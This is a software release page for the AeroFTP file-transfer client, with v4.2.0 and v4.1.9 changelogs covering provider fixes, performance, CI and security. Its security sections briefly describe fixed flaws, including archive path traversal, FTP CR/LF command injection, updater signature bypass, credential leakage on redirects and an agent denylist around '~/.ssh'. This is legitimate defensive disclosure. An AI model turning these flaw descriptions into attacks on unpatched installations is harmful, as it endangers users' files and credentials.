image-kitorbackblaze_b2now resolves too. aeroftp_reconcilehonourschecksum. Two files of the same size and different content are compared by BLAKE3 instead of being reported equal, andaeroftp_hashsumnow asks for the tighter hashing memory cap instead of the general 500 MB download.- Dropbox trash tells folders from files, and restore no longer fails with 409. A tombstone carries no kind, so the listing guessed it: folders showed as files and a restore could pick a revision that was not restorable. The kind now comes from the revision history, folder restore says that Dropbox has no API for it, and a throttled probe fails the listing instead of reporting "unknown". Verified against a live account, red on the old build and green on this one (@EhudKirsh, #397).
- OneDrive Personal reports that its recycle bin is not reachable through Microsoft Graph instead of "400 Bad Request" with raw JSON; business drives keep the button (@EhudKirsh, #397).
- pCloud's refused trash reads as a pCloud limit, not a broken login. pCloud refuses its trash to OAuth tokens; all four trash commands now say so and point at pcloud.com, while a genuinely bad token is still an authentication failure. On the three trash mutations every result code is now classified: missing items answer "not found" and the throttle code becomes a rate-limit error (@EhudKirsh, #397).
- Jottacloud purges an individual trashed file. The fallback from the Trash view to the original path now runs only after a deleted tombstone is confirmed, and a live object is refused (@EhudKirsh, #397).
- A keystore export and import no longer restores an older My Servers list. The migration copied the SQLite
-waland-shmsidecars with the database, and SQLite replayed the stale log over the restored data, bringing back renamed and deleted profiles (@EhudKirsh, #736). - With Crypt off, deleting a plaintext file inside the Crypt scope is allowed. The guard against writing unreadable data was applied to an operation that removes data; the write guards are unchanged (@EhudKirsh, #390).
- Importing an rclone remote with its crypt binds the crypt. The import produced two profiles with neither bound; the binding is now stored with its password and optional salt in the vault, verified both ways against rclone 1.74.3 (@EhudKirsh, #347).
- An exported AeroSync template follows the Plan and Sync tabs. The compare fields followed the named preset instead of the verify policy, and the exclusions came from the preset instead of the user's list (@EhudKirsh, #514).
- Yandex Disk
mkdir,rename, server-side copy and upload-by-URL wait for the operation to finish. A 202 acknowledges a queued mutation, and onlydeletewaited for it, so the others reported success before the operation had completed or failed (@EhudKirsh, #368). - The benchmark labels pCloud Drive and the two MEGA entries correctly, counts only runnable profiles and reports pCloud's progress incrementally (@EhudKirsh, #368).
- Profile import no longer writes twice on a double click or reports "1 updated" after a failed vault write. An empty vault is no longer mistaken for a missing one, and an import no longer proceeds without its backup.
- A Jottacloud profile shared between two stations no longer fails with "Login token expired or already used". The CLI and the GUI rotated two different refresh chains for the same profile and a refused chain was only half cleared, so an export could carry a dead one; both chains are now tried and a refused one is removed everywhere.
- The kDrive token field says which scopes the token needs. A token with the
drivescope alone connects and lists, and only Fetch is refused because it reads the account profile; the hint, in all 47 locales, now says so before the token is created (@EhudKirsh, #650). - A missing path on Box, FileLu, Filen, 4shared, Jottacloud and MEGA (both the MEGAcmd and the native backend) no longer reports "Path not found: Path not found: ...". Those providers built
ProviderError::NotFoundwith the prefix already in the payload, and the variant'sDisplayadds the same prefix again, so the user read it twice. The constructors now carry the bare path and leave the prefix toDisplay, which is the single place that owns it. A regression test drives the MEGA native provider's path resolution and counts one prefix in the rendered error. - Error messages no longer say the same thing twice. Fifty-nine payloads repeated what their error type already prints (
Path not found: File not found: ...,Parse error: XML parse error: ...) and now drop it, with a test that fails on any payload repeating its own prefix; GitHub errors no longer write their label twice, and a GitHub 404 now says whether the repository or the file is missing. On kDrive the wrapper had also turned an authentication failure into a connection failure, which is fixed. - A Backblaze B2 token failure is recognised by its type, not by the words in the message, so a change of wording on the server cannot silently disable re-authentication.
- About > Dependencies lists every direct dependency at the version AeroFTP builds with. 17 were missing and 13 showed another version; the list is now derived from the manifests at build time, and updates are classified with Cargo's semver rules against the crates.io sparse index, pins included.
- "Remove application data" in the Windows uninstaller takes effect. Since the identifier change the uninstaller could not take that branch, so a user who ticked it got the same three prompts as one who did not, and the legacy data directory with the AI chat history survived. The decision now reads the checkbox itself, and both data directories are removed; the vault keeps its own prompt.
- The server panel no longer shows a move cursor for files dragged in from outside, and Full Backup in the keystore settings scrolls to its panel.
- The
--tuimenu ofprofiles,groupsandusersoffers every verb the-iprompt has. It used to be a second, hand-kept list that had fallen behind the action bar: Help, refresh, New, Groups, Users, Add and remove were reachable at the prompt but not from the menu, so-iwas more capable than--tui. The menu is now derived from the same verb table, in the same order and with the same keys (?and0included), and a test pins that the two cannot drift apart again. Verbs that take no selector send the bare command, so Help prints and the menu reopens; membership and add/remove get the prompt their line-mode syntax needs. Alongside, the action bar capitalises a label only when the verb is invoked by its first letter:refresh(.)andremove(X)now read likere-index(#), and that rule is a test rather than a convention. Both menus also open on an empty vault, where two guards used to exit before any menu showed (@EhudKirsh, #347). - Jottacloud folder restore from the recycle bin works, because it stopped asking for a verb that does not exist. Probed against a real directory tombstone, JFS has no command that restores a directory:
?restore=trueis rejected as an unknown command on both the Trash view and the original path, and?mv=/?mvDir=out of Trash 404 because the Trash listing is a virtual view whose entries no verb can address. The restore is now composed from the primitives that already carry file restore: the tombstone at the original path still lists the deleted tree with every child'sdeletedstamp and revision, each tombstoned file is revived with?cphash=trueagainst its own path, which revives the ancestor folders along with it, and only the folders no file could bring back, the empty ones, are recreated with?mkDir=true. The reported result counts only what the server confirmed: children found already live are listed as already present rather than claimed, and a restore that stops partway is an error carrying the confirmed counts and the paths that failed, never a quiet success. Re-running a restore restores nothing twice (@EhudKirsh, #397).
Changed
- One copy of ChaCha20-Poly1305 instead of two, because the crate holding it back is ours.
aerovault0.6.4 depended on version 0.10 of that cipher, so the application pinned the same 0.10 for its own use and carried both in the tree.aerovault0.6.6 moves to 0.11 with no change to the vault format, which its own cross-implementation tests assert by opening a container written months earlier and reproducing it byte for byte, so existing.aerovaultfiles stay readable and new ones are identical. The only place here that uses the cipher directly is CryptoLab, where the new interface also removed a panic: a nonce that was not twelve bytes used to kill the call, and now returns an error. - A large upload keeps about half the memory it used to. The transfer engine holds a bounded number of part buffers (four times 16 MiB on top of a 65 MB baseline), but on a many-core machine the C library kept the freed buffers in per-thread pools instead of returning them, so the process looked like it was holding 300 MB. AeroFTP now asks the allocator, at startup, to take buffers of this size straight from the kernel and give them straight back. Measured on a 1 GiB S3 upload, three runs: peak memory 295 to 312 MB before, 139 to 141 MB after, with the same wall time. It applies where that allocator is used and does nothing elsewhere; no transfer path changes.
- GUI downloads use multiple streams by default, per protocol, on the measured numbers: SFTP 8 connections (the toolbar preset now defaults to Fast), WebDAV 8, FTP/FTPS 8, S3 4; providers without a measurement stay on one stream. The setting on Auto sent nothing to the backend, which then used one stream everywhere, and the single-file and folder download paths armed the provider's own multi-stream download only for SFTP with a preset: S3, WebDAV, B2 and Koofr implement it and the GUI never called it for them. Both paths now go through one helper that arms every provider (preset, explicit setting, or the measured default, above the shared 250 MiB cutoff). Measured on the lab (300 MiB, wired gigabit): SFTP 144.75 s to 25.46 s, WebDAV 37.60 s to 13.45 s, FTP 52.95 s to 13.50 s, S3 36.83 s to 31.50 s. These are the desktop numbers: the desktop plans its own ranges, while the command line asked the provider to split and, on S3, was answered by a size probe that always read zero, which the entry below fixes. The toolbar speed button on S3 and WebDAV still shows one level; making it reach those providers follows separately.
- The crate's own unit tests derive keys with the cheapest Argon2id profile the vault formats accept (8 MiB, t=1) instead of the audited 128 MiB / t=4. The tests derive keys thousands of times per run and those derivations were 92% of the suite's execution time (27 of 41 minutes in CI); what they exercise is wrapping, MACs, slots and formats, none of which depends on the cost. Production builds, the CLI's tests and every binary keep the audited profile, which is now also pinned by name and by a full-cost known answer in one test. Measured on the affected modules: 1867 s of execution down to 287 s.
- The CLI remote scan of
reconcile,checkandcryptcheckruns on the provider's list pool, up to--checkersdirectories at once (syncfollows in the entry under Fixed). The CLI walked the remote tree with a serial walker of its own while the GUI scan already listed on clone workers; on the lab SFTP server a 5000-filesyncspent 10.8 s in a no-op run and 14.7 s in a delta run against rclone's 4.2 s and 5.4 s, all of it in the scan. The three commands now use the shared walker (same filters, same completeness accounting, spinner fed by its progress hook), so a provider that lists on independent connections (SFTP, S3, WebDAV, B2, the HTTP clouds) lists in parallel and a single-session provider walks as before.--checkerstherefore bounds something real now; its help text says so. Also fixed in the shared walker: a symlink to a directory is listed but no longer walked (the CLI walker already refused it, the GUI walker did not). - The GUI sync scan lists SFTP directories on up to eight connections (the scan asks for eight checkers; the SFTP pool ceiling is 16 since the entry below, it was 4 when this landed), and scan workers stay warm across directories. The parallel scanner cloned a fresh worker for every directory, which is a client copy for HTTP providers but would be a full SSH handshake on SFTP, so SFTP was left on the single locked session (the DAG engine review measured 4 sequential round trips per directory: 15 to 18 s for 5000 files in 51 folders, rclone 4 s). SFTP now exposes the clone-pool scan hooks once a connection exists, and the scanner keeps a worker that listed a directory cleanly for the next directory instead of re-dialling (HTTP clones do not opt in and keep their per-directory clone). The CLI
sync,checkandcryptcheckrun on the same scanner since the entry above. - Multi-file SFTP transfers honour
--parallelup to 16 connections, and the CLI says so when a provider ceiling binds a higher request. The SFTP pool ceiling was a literal 4, so--parallel 16delivered 4 connections without a word. The DAG engine review battery on the Hetzner lab (wired gigabit, 5000 x 4 KiB files) measured what that cost: from 4 to 16 rclone gained 1.9x on upload and 3.6x on download, AeroFTP moved 1%. The ceiling is now 16, the same range as--sftp-concurrency; the effective count stays the lower of the ceiling and--parallel, so the default of 4 connections is unchanged. On every provider,put -randget -rnow print a note when the provider ceiling is lower than the requested--parallel(text mode; quiet and JSON stay silent). - SFTP single-stream downloads read ahead by default (window 32), instead of one 256 KiB read per round trip. The read-ahead tier existed behind
--sftp-readaheadandAEROFTP_SFTP_READAHEAD; the DAG engine review measured what the default cost on a 53 ms link with a 300 MiB file: 118 to 129 s serial, 38.8 s with a window of 16, 34.5 s with 32, 35.6 s with 64, rclone 30 s. The window now defaults to 32 when nothing asks for one;AEROFTP_SFTP_READAHEAD=off(or0) restores the serial read, an explicit--sftp-readaheador preset still wins, a bandwidth cap still takes the serial loop that owns the precise throttle, and the job-wide buffer budget still bounds the window per connection. put -r --skip-restricteduploads a tree whose names the destination partly forbids, setting aside and reporting the offending entries instead of refusing the whole batch. The default is unchanged and deliberate: one restricted name (a tab in a file name bound for S3, for instance) still stops the batch before anything is created. The review battery of 2026-09-05 measured the two policies side by side on the same 20-file tree: AeroFTP uploaded 0 files, rclone 19 and reported the one it could not. With the flag a folder with a restricted name takes its children along, every skip is listed once, and the run endspartialwith exit 4 because not everything requested landed.- Single-file downloads are multi-threaded by default: files of 250 MiB or more are fetched with 4 concurrent range streams, the same stream count as rclone's default (4 streams above 256Mi; AeroFTP's cutoff stays 250 MiB, so files between the two thresholds split here and not there).
--multi-thread-streamsused to default to1, so the DAG range scheduler, the strict 206 probe and the single-stream fallback all existed but only ran when a user found the flag; the May 2026 live matrix showed rclone ahead on every 1 GiB download because of that default alone, while the shared harness measured the two engines within noise once the streams were equal. The gate is unchanged: the option reaches the providers that implement it (S3, Backblaze B2, SFTP and FTP on independent connections, WebDAV and Koofr after a live probe), everything else and every file below--multi-thread-cutoffstays single-stream, and--multi-thread-streams 1orAEROFTP_MULTI_THREAD_STREAMS=1restores the old behaviour.pgetis unaffected. - An S3 endpoint that is plain HTTP and not on this machine now needs the profile's explicit consent, and a connection to one is refused until it is given. Signing a request authenticates it, it does not encrypt it: over cleartext the
Authorizationheader, the STS session token when a role is assumed, and every file byte are readable by anything on the path. The other two ways in were already closed, redirects are refused outright and no preset ships a cleartext remote endpoint, so what remained was an endpoint typed by hand or carried in from another tool's configuration file. Loopback is exempt and unaffected, because those bytes never reach a network: local bridges such as the Filen Desktop gateway keep working untouched. What changes for someone pointing at MinIO or a gateway overhttp://on a LAN is one checkbox, offered in the connection form next to the endpoint precisely when it applies, and readable asallow_cleartext_endpointon the profile for the CLI, the MCP pool and schedulers that never see a form. The import listings now mark such a profile as it arrives, which is where the endpoint is still legible, rather than leaving the surprise for a connection weeks later. This mirrors the consent Swift already asks for the same reason, and the two predicates that decide "local" are deliberately kept apart: the one that trusts a self-signed certificate accepts.localmDNS names, and the one that decides whether bytes stay off the wire does not. - The application identifier is now
app.aeroftp.AeroFTP, the reverse DNS of a domain the project owns, and an update keeps what the old identifier held. The vault, profiles and databases are stored under a name, not under the identifier, so nothing needs to be re-entered, and the keyring entry that holds the saved vault passphrase deliberately keeps its old name. The locations the framework derives from the identifier stay where earlier releases put them: the web view storage that holds the interface preferences (language, theme, AeroFile tabs, custom icons, AI, OAuth and terminal settings), the downloaded speech model and the log folder; the window size and position carry over; on macOS, where the web view store follows the bundle identifier, it is copied once to the new one before the first window opens; and the one-time import of a configuration folder from before the data-root migration reads the old identifier again. The desktop file, AppStream metadata (which now declares the old identifier as replaced) and Flatpak manifest are renamed, "make default" still finds a desktop file installed under the old name, and on macOS the Finder Sync extension follows the new identifier. The privacy notice lists the data directories under both identifiers and names the keyring entry that deleting them leaves behind. - Quick Connect and AeroSync, from the wishlist. The rclone crypt salt field is called
password2in Quick Connect as in the unlock dialog; the AeroCrypt block leads with the default-salt toggle and folds the keyfile into a disclosure that states whether one is set; the AeroSync template name and description have visible labels; a canary dry run keeps the Compare scan instead of discarding it; and the AeroSync dialog closes when its session disconnects (@EhudKirsh, #347). - Exit 8 has one documented meaning: stopped at a limit the user set, with nothing failed. A reached transfer budget and a timeout are both limits; which one it was is in the JSON (
over_budget). The help, its compact table, the CLI guide and the agent metadata, which still said"8": "timeout", now agree. - The native rsync engine no longer depends on the application, and the compiler proves it. Over four tranches the
aerorsyncmodule went from 42 application import lines to none, and a fifth added a CI lane that re-emits it as a standalone crate and builds it on Linux, Windows and macOS (both architectures), in both profiles and under the product's own rustflags and lockfile. Its real-rsync oracle tests, which had been skipping silently in CI and fresh checkouts, now run, and the crate declaresMPL-2.0 OR GPL-3.0-or-laterin every file. - Dependencies. Every Cargo and npm dependency takes the newest release its requirement admits (207 crates updated in the lock, the
tauripin kept), andrust-versionstates the real floor, 1.93. argon2 0.6 (the known-answer test still derives the same key), sevenz-rust2 0.22 and zstd 0.14 land with no source change; ten Dependabot bumps were merged as one branch;derandlibssh2-sysmoved off releases yanked upstream; vite 8.3.0, toml 1.1.6 and autoprefixer 10.5.6. quick-xml 0.42 is left out: it is an API migration, not a bump. - Backblaze's SSE-B2 default for new uploads, from 2026-09-14, needs no client change, measured rather than assumed. On buckets with and without default encryption the digests B2 reports, native and S3-compatible, were identical, and the B2 tests now assert that the server still publishes the digest
sync,dedupeandverifyrely on. - The Rust test suite runs on Windows. Every
cargo testused to execute on a Linux runner, so "green on three platforms" meant "builds and packages" on two of them. The Windows lane now builds and runs the library suite under MSVC (3899 passed on its first green run), and the first execution found and fixed seven platform assumptions in tests. - CI wall clock. Linux lint and tests run beside packaging instead of in front of it, and a tag cannot publish while they are red; superseded runs are cancelled; docs-only changes skip the four-platform build; coverage and
cargo installsmoke run onmainonly (the CLI lane per pull request from 77 to 110 minutes down to 25 to 35); rust-cache is saved only frommain, so pull requests cannot evict it; and thecargo-auditbinary is cached instead of compiled on every run. - Release checks. The version sites live in one list with three callers, after v4.1.9 shipped with
package-lock.jsonstill declaring 4.1.8 (148 of 166 tags carried the same drift); the AppStream metainfo and desktop entry are validated on every pull request; CI pins rustc 1.97.1 instead of floating stable; and CI moves from Node 20 to Node 24 LTS with vitest 5. - Smaller internal changes. CI no longer fails on preinstalled Microsoft and Google apt repositories it does not use, the SFTP rsync and FTP MLSD lanes retry for real after a timeout, the standalone engine lane also runs when only the lockfile changes, and the sign-off check accepts GitHub App commits by name. Tests: the native rsync settings tests work on a file of their own instead of the machine's real settings file, which they shared on Windows and macOS, the dispatcher tests no longer draw a directory name another test can draw in the same nanosecond and delete mid-run, nor run a helper binary that another test's forked child still holds open for writing, a flaky S3 log test replaced, the FTP put timing measured on the server, three ACL tests answered per platform, an S3 mock that now reads the body it is sent, and three live FTP stall-and-retry tests restored. Docs:
AGENTS.mdis the CLI integration guide again,docs/TESTING.mdpoints atnpm run smoke, and stale code comments were corrected. The SourceForge publishing script confirms a delete by listing instead of trusting the exit code. The AeroRsync capture harness generates its SSH key at each run instead of keeping one in the repository, and the legacy configuration import runs once per data root instead of at every start.
Security
- Findings of the pre-release security audit, all older than v4.1.9, are closed rather than carried. An automated audit with parallel reviewers raised leads across the app; each was validated against the code, and every confirmed one is fixed with a test that failed on the previous code. The entries below are the user-visible ones.
- On Linux the app verifies that the UI server on 127.0.0.1:14321 is its own before any window loads it. A process of another account that took the fixed port first would have been loaded with the app's full command surface; the server now marks its responses with a secret generated at each start, the app refuses to open a window when the answer does not carry it, and says why. The origin, and with it every saved preference, is unchanged.
- The in-app updater refuses an update whose signature does not verify. A missing Sigstore bundle, one that does not parse, and a verification error used to let the install proceed; each now deletes the download and stops, and the Windows installer path checks the registry of verified downloads like the Linux and macOS ones.
- Commands that hand out secrets or a shell answer the main window only, and AeroAgent's write and shell tools always go through the backend grant. The extract window could reach the vault and the terminal commands;
shell_executewas also registered as a command outside the approval path; andremote_download, checkpoint creation and agent memory writes did not require the grant. The agents' path denylist now fails closed on paths that do not exist yet (a write to~/.ssh/nested/keypassed) and applies on Windows, where it readHOMEonly. - Archives cannot write outside the destination through mixed separators or a
...zipname. An entry mixing/and\could carry a parent component past the check on Windows, and an archive named...zipor...tar.gzextracted into the parent of the chosen folder when a subfolder was requested. - AeroCloud no longer deletes a local file because a provider's listing left it out. A listing the provider marks as not authoritative was treated as complete, also through the crypt and compress overlays.
- A credentials-off profile export no longer carries the AeroShare peer ticket, and the RPM package ships the update helper and data files the DEB ships.
- A 22-character rclone crypt password that decodes as empty is no longer replaced by an empty password. rclone's obscure format makes some 22-character values reveal as the empty string (one in sixteen of the 22-character passwords over
[A-Za-z0-9_-], an alphabet password managers generate in), and the content was then encrypted under a key derived from nothing, unopenable by rclone. The reveal now depends on the field: an empty result is kept as the literal password, while for the salt it still means rclone's default (@EhudKirsh, #600). - An S3 request is never signed for a cleartext endpoint without consent, whichever path signs it. The consent introduced in this release sat in
connect(), while Quick Connect's bucket discovery signed a ListBuckets against the typed endpoint directly; the check now sits where every S3 signature is made, a presigned share link is covered too, and a role profile no longer spends an AssumeRole and an MFA code on an endpoint it has not accepted. - API keys sent in non-standard headers no longer follow a redirect to another origin or to plain HTTP. reqwest strips only standard credential headers on a cross-origin redirect, so the Immich, GitLab and InfiniCLOUD keys and the AI clients' API keys travelled to wherever a redirect pointed, the class rclone fixed in 1.75.1. Same-origin redirects still work; a server that redirects to another host now fails with the redirect status, so configure the final address.
- Restricted characters are refused on the MCP and agent write path before anything reaches the wire. A retried authentication, an unresolved provider type, a missing restricted parent before
mkdirand the staging fileeditwrites no longer bypass the check. - rustls 0.23.45 for RUSTSEC-2026-0285, TLS 1.3 handshake messages accepted across encryption level boundaries; postcss-selector-parser 6.1.4 for an uncontrolled recursion in a development dependency.
- The plausible findings of the v4.1.9 audits are closed. The sign-off check matched
Signed-off-by:anywhere in a message and now requires a trailer line;cargo auditreported an unrun yank check as success and the authoritative lanes now run it with--deny warnings; and an FTPdeleteorrmdirof a name containing CR or LF is refused as an invalid path instead of reading as a retryable connection error.
Contributors
<img src="https://github.com/EhudKirsh.png?size=48" width="48" height="48" alt="@EhudKirsh" />Seven of the issues closed in this release were opened by @EhudKirsh, who keeps finding the cases that only appear when the software is actually used: the trash that behaves differently on every provider, the import form that would not save, the receipt field whose name did not match its label. A report that names the steps is worth more than the fix it produces, because it usually finds the next one too: the last fix to land in this release came from one of his, sent while the release was being prepared, and closing it turned up two further defects nobody had seen.
Thank you
To everyone who uses AeroFTP, at home or at work, and to everyone who opens an issue, tests a build, asks a question or sends a patch: thank you. This release is three weeks of repair, and nearly all of it exists because somebody noticed something and said so. Keep doing that.
Downloads:
- Windows:
.msiinstaller,.exe, or.zipportable (no installation required) - macOS:
.dmgdisk image - Linux:
.deb,.rpm,.snap, or.AppImage
- AeroFTP-4.2.0-1.x86_64.rpm - 151.4 MB · 13×
- AeroFTP-4.2.0-1.x86_64.rpm.sigstore.json - 10.1 KB · 6×
- AeroFTP-4.2.0-portable-windows-x64.zip - 90.8 MB · 56×
- AeroFTP-4.2.0-portable-windows-x64.zip.sigstore.json - 10 KB · 10×
- AeroFTP_4.2.0_aarch64.dmg - 85.7 MB · 31×
- AeroFTP_4.2.0_aarch64.dmg.sigstore.json - 10 KB · 12×
- AeroFTP_4.2.0_amd64.AppImage - 92.1 MB · 48×
- AeroFTP_4.2.0_amd64.AppImage.sigstore.json - 10 KB · 5×
- AeroFTP_4.2.0_amd64.deb - 74.7 MB · 127×
- AeroFTP_4.2.0_amd64.deb.sigstore.json - 10.1 KB · 87×
- aeroftp_4.2.0_amd64.snap - 213.1 MB · 2×
- aeroftp_4.2.0_amd64.snap.sigstore.json - 10.2 KB · 3×
- AeroFTP_4.2.0_x64-setup.exe - 64.4 MB · 256×
- AeroFTP_4.2.0_x64-setup.exe.sigstore.json - 10.1 KB · 25×
- AeroFTP_4.2.0_x64.dmg - 90 MB · 7×
- AeroFTP_4.2.0_x64.dmg.sigstore.json - 10 KB · 4×
- AeroFTP_4.2.0_x64_en-US.msi - 92.3 MB · 182×
- AeroFTP_4.2.0_x64_en-US.msi.sigstore.json - 10 KB · 19×
v4.1.9 1mo ago · 1,330 · 18 Assets
[4.1.9] - 2026-09-01
The Release That Stopped Believing Its Own Gates
Three CI lanes in this repository could report success having executed no tests at all, and one of them had been doing exactly that since May. A pull request said two review findings were closed by two tests, and one of those tests had never run in any run, because an attribute had landed between another test's #[test] and its function; the suite reported the same passing count either way. Six error-classification rules had never fired once, because the codes they look for are followed by a bracket and not a space. The pattern under all of it is the same: a green result that was measuring nothing, and no way to tell it apart from a green result that was measuring everything. What is fixed here is not only the individual defects but the instruments, so that the next time one of them is empty it says so.
Alongside that, FTP stops hanging on a refusal the server already sent, WebDAV survives a rotated Digest nonce on every path rather than five of them, Swift and Blomp accounts list their files again, and a private OpenStack that legitimately serves cleartext can now say so instead of being refused.
Added
- AeroSync preserves POSIX.1e access ACLs on Linux, opt-in, alongside the integrated protocol and metadata gaps closed in the same change. Owner, group and device files remain out of scope and are still listed as such.
- The language chip in the status bar is a way in, not only a readout. It opens Settings on the Interface sub-tab, where the language list actually lives, so the shortest path from noticing the language to changing it stops going through two panels. Its accessible name says what the button does rather than only what it reads.
- A private OpenStack that legitimately serves cleartext can say so. The guard that refuses an unencrypted object store after an encrypted login stays on by default; a profile can now opt in explicitly, which is what the Blomp preset does, instead of the guard being off for everyone.
- The app chrome can be restyled through published CSS tokens rather than through arbitrary user CSS. The tokens are a contract with names that stay stable, so a theme does not break on the next release the way a selector-based override would.
- The resume store has a screen, so the multipart checkpoint cap has an escape in the GUI and not only in
aeroftp checkpoints. - Quick Connect reaches a private OpenStack, and the Blomp tile carries its own identity rather than a generic Swift one.
Fixed
- Swift and Blomp accounts list their files again. The GUI opens a session on
., which Swift turned into the prefix./, and that matches no object: the server answered 200 with an empty array, so every account looked empty in the app with no error at all, while the CLI, which sends/, worked. - An FTP download of a file that is not there no longer waits for ever with the refusal already in the client. The wait was inside the data channel's TLS handshake, one step before the read loop that was already guarded, so a request the server accepted and then ignored had no deadline at all. Every data-channel opening now has one, listings have their own, and an expiry drops the session instead of handing the next command a reply that is still owed.
- A transfer the server closed was abandoned without a single retry, and reported as a disk error. Two wrong answers at once: the user was told their disk had failed, and the transfer that would have succeeded on the second attempt was not attempted.
- Six FTP classification rules had never fired once. They look for a status code followed by a space, while every failure this application renders puts a
]there. Quota, permission, not-found and authentication were decided by rules that could not see the shape the system produces, so a permanent refusal was retried three times. They were not uniformly dead, which is worse: a server that echoes its own code inside the message made the old rule match by accident, so the classification held against one server and silently stopped against another. - A lost FTP login was reported as a bad path.
[530] Not logged inwas presented as a naming problem, which sends the reader to check a path that was never wrong. Only the two replies that are about the name itself are treated as path errors now. - WebDAV re-negotiates a rotated Digest nonce on every request path, not five of them, and folder downloads honour the concurrent-transfers setting while doing it.
- A WebDAV download could panic the task that was running it. A server answering 425 while rotating its Digest nonce walked the retry loop off the end of its own range. The replay now has an attempt of its own, bounded, and the loop has no edge left to fall off.
- A Swift recursive delete could remove objects the caller never named. An object name is an opaque key, so
foo/../barandbarare two different objects; the path normalizer resolved the dot segments anyway, and a delete, a rename or a server-side copy addressed a different object than the one asked for. - A path holding CR or LF let the caller append a second FTP command, and the refusal was then filed as a network error and retried. Both halves are fixed: the command line rejects the characters, and the refusal is typed as what it is.
- Uploading a very large file no longer holds the whole file in memory, and neither does a segmented download: the cap applied to one request, while the peak was the smaller of the file size and 1 GiB.
- The B2 provider was told the bucket's encryption and lock settings at every connect and threw them away, so the header budget was computed from defaults that did not describe the bucket.
- Three Jottacloud trash operations that failed for a reporter, each for a different reason, and the reasons were not related to one another.
- A listing nobody could read is no longer reported as an empty directory, and the two FTP listing parsers became one, so the copy nobody had read stopped inventing files.
- Asking whether a parent exists is not asking whether it is a directory. The obvious correction reintroduced a bug that had already been fixed once, which is recorded next to the code so the third attempt does not repeat it.
- A keystore exit code was chosen by searching the error message for English words, so
--merge decryptreturned an authentication failure and--merge "io error"returned a disk fault, for the same invalid input. Cron jobs and CI branch on those numbers. The class now travels with the error, decided where the failure happens, in the archive CLI as well as the keystore. - 179 locale strings had their diacritics stripped, and a CI gate now stops the class growing. The remaining 66 in Swedish that the gate cannot see by construction were found by hand and restored, never reworded.
- Strings that shipped as raw English inside translated locales are gone, with a gate that keeps them out.
- A Swift recursive delete, rename or server-side copy could address a different object than the one asked for. An object name is an opaque key, so
foo/../barandbarare two different objects; the path normalizer resolved the dot segments anyway. Found by the pre-release audit, introduced earlier in this same cycle. - A WebDAV download could panic the task running it, when a server answered 425 while rotating its Digest nonce. Found by the pre-release audit.
- Six error classifications were blind to the shape providers actually produce and firing on byte counters instead. The rule looked for a status code followed by a space, so
Upload failed (403): ...was not recognised whileconnection reset after 550 of 1024 byteswas classified as a permanent permission failure and the transfer discarded. Ten providers render the unrecognised form. The criterion is now the position where a provider writes a status, read from the real code rather than assumed. - An FTP transfer could wait 1800 seconds for a refusal the client had already received. When a server sends the preliminary reply and the final refusal in one segment, the final one sits in the reader's buffer while the socket underneath looks empty, and the watcher was looking at the socket. It now looks at the layer the bytes are actually in.
- The multipart checkpoint cap could be exceeded by concurrent opens, and the fix for that could delete a record another opener had adopted. Both are the same question answered by omission, "is this record mine", once by counting someone else's deletion as your own and once by removing someone else's record believing it yours.
- The Swift auth-URL field silently revoked a ticked cleartext-storage consent on every keystroke, with the tick still drawn. Found by the pre-release audit.
- FTP probes MLST before listing rather than assuming the server supports it, with a fixture server in CI that answers the way the awkward servers do, so the branch is proved rather than reasoned about.
Changed
- pCloud's trash button is gone, because pCloud refuses its trash endpoints to OAuth tokens and no scope unlocks it. A control that cannot work is worse than an absent one.
- S3Drive is marked stable on evidence, and DigitalOcean Spaces is no longer hidden: it is a standard S3 connector and was being treated as experimental.
- The language chip moved to the edge of the status bar, behind its own divider. It is a readout, not an app button, and sitting between AeroAgent and DevTools it read as a third one.
- Contribution origin is certified with a DCO rather than a CLA. Contributors state where their code came from instead of signing rights over. The check uses no third-party action beyond the official checkout, because verifying provenance is the wrong place to add a supply chain dependency, and nothing is retroactive.
- The project licence identifier is
GPL-3.0-or-later, replacing the deprecatedGPL-3.0in every manifest and source header.
Security
- Three advisories affecting
russhas a client, which the project's own security gate is structurally unable to see: it audits the server side.russhmoves to 0.63.1. - A CI lane that runs no tests now fails instead of reporting success. The AeroRsync live lane was the first one fixed, and the same guard was then found missing on ten more selection points, one of which had been reporting success while executing nothing since May. Every point that selects tests now asserts how many actually ran.
- Pre-release audit: three independent auditors, one lane each, over the 55 commits of this cycle. Backend and protocols, frontend and CI and packaging, and a third lane asking a different question: does the code do what its own description says it does. Every confirmed finding was fixed before the tag rather than deferred. Two of them were introduced by this cycle and the rest predate it. The most consequential finding is not in this list because it is not a defect in shipped behaviour: three CI lanes could report success having executed no tests, and one had been doing so since May, which means part of the confidence this project had in its own gates was not earned. That is fixed above.
- Pre-tag commit audit: PASS. Run on the exact commit being tagged rather than on the branch, because the two are not the same reading:
concurrency: cancel-in-progressmeans a merge landing close behind another can kill the first commit's run so that it never restarts, leaving a job that never concluded on that commit while the branch looks green. Zero such orphaned runs on this commit, zero incomplete, zero failed, across Linux, Windows and macOS on both architectures. Checked separately, because it covers a different defect: all 16 pull requests merged into this release hadFormat, audit & unit testsgreen ON THEIR OWN HEAD, which is what says the CONTENT was verified, while the check above says the INTERACTION with the branch it landed on was.
Contributors
<img src="https://github.com/EhudKirsh.png?size=48" width="48" height="48" alt="@EhudKirsh" />Downloads:
- Windows:
.msiinstaller,.exe, or.zipportable (no installation required) - macOS:
.dmgdisk image - Linux:
.deb,.rpm,.snap, or.AppImage
- AeroFTP-4.1.9-1.x86_64.rpm - 147.2 MB · 23×
- AeroFTP-4.1.9-1.x86_64.rpm.sigstore.json - 10 KB · 6×
- AeroFTP-4.1.9-portable-windows-x64.zip - 86.2 MB · 67×
- AeroFTP-4.1.9-portable-windows-x64.zip.sigstore.json - 9.9 KB · 7×
- AeroFTP_4.1.9_aarch64.dmg - 84.6 MB · 79×
- AeroFTP_4.1.9_aarch64.dmg.sigstore.json - 9.9 KB · 26×
- AeroFTP_4.1.9_amd64.AppImage - 89.2 MB · 49×
- AeroFTP_4.1.9_amd64.AppImage.sigstore.json - 9.8 KB · 5×
- AeroFTP_4.1.9_amd64.deb - 73 MB · 201×
- AeroFTP_4.1.9_amd64.deb.sigstore.json - 10.1 KB · 105×
- aeroftp_4.1.9_amd64.snap - 210.3 MB · 3×
- aeroftp_4.1.9_amd64.snap.sigstore.json - 10.1 KB · 2×
- AeroFTP_4.1.9_x64-setup.exe - 60.5 MB · 398×
- AeroFTP_4.1.9_x64-setup.exe.sigstore.json - 9.9 KB · 44×
- AeroFTP_4.1.9_x64.dmg - 88.5 MB · 19×
- AeroFTP_4.1.9_x64.dmg.sigstore.json - 9.8 KB · 7×
